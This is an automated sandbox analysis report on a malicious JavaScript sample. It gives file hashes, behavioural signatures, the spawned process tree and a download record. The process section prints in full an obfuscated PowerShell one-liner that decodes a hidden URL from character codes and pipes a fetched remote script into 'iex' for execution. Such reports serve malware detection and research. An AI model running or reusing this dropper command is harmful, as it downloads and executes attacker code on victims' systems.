Analysis
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max time kernel
95s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 15:01
Static task
static1
Behavioral task
behavioral1
Sample
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js
Resource
win10v2004-20241007-en
General
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Target
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js
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Size
220KB
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MD5
3589bfb526b9ec518fbff4e6288c6bf9
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SHA1
58d7a19a13cc2bd0e17c83a299decb11f51a1202
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SHA256
4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801
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SHA512
16be0fd76f817e49247b6a1a729659dd0758b04946d1a33271660f26a4f92ae6417f3aa25873e511600d26a0c0e393eb87e3b6a487a6b25211bd05e4f9c5cb69
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SSDEEP
1536:nwWXnWgQWy7zp3y/4NZsFZc1lg2YoRp5qitCy7zp3y/4NZsFZc1lgzYoRp5qit0c:ny64T3oOn64T3TO3OE64T3364T3N
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1928 1504 conhost.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 8 4680 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4680 powershell.exe 4680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4680 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1928 wrote to memory of 4680 1928 conhost.exe 84 PID 1928 wrote to memory of 4680 1928 conhost.exe 84
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js1⤵PID:3352
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C:\Windows\system32\conhost.execonhost --headless powershell $lhbwsyacipxtq='ur' ;new-alias printout c$($lhbwsyacipxtq)l;$iqhueydokzrjfp=(2863,2874,2882,2866,2868,2863,2883,2882,2887,2820,2882,2816,2863,2811,2881,2876,2877,2812,2814,2811,2877,2869,2877,2828,2880,2826,2874,2870,2875,2881,2880,2815,2814);$oczkdnymg=('bronx','get-cmdlet');$dhnxyvjgilbm=$iqhueydokzrjfp;foreach($cawzighv in $dhnxyvjgilbm){$xosmulqpkn=$cawzighv;$azshmlbp=$azshmlbp+[char]($xosmulqpkn-2765);$ejqhmdcu=$azshmlbp; $tcrxepkjwby=$ejqhmdcu};$xdmiytzpvwr[2]=$tcrxepkjwby;$lscjrt='rl';$tqpevxm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tcrxepkjwby)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $lhbwsyacipxtq='ur' ;new-alias printout c$($lhbwsyacipxtq)l;$iqhueydokzrjfp=(2863,2874,2882,2866,2868,2863,2883,2882,2887,2820,2882,2816,2863,2811,2881,2876,2877,2812,2814,2811,2877,2869,2877,2828,2880,2826,2874,2870,2875,2881,2880,2815,2814);$oczkdnymg=('bronx','get-cmdlet');$dhnxyvjgilbm=$iqhueydokzrjfp;foreach($cawzighv in $dhnxyvjgilbm){$xosmulqpkn=$cawzighv;$azshmlbp=$azshmlbp+[char]($xosmulqpkn-2765);$ejqhmdcu=$azshmlbp; $tcrxepkjwby=$ejqhmdcu};$xdmiytzpvwr[2]=$tcrxepkjwby;$lscjrt='rl';$tqpevxm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tcrxepkjwby)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4680
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82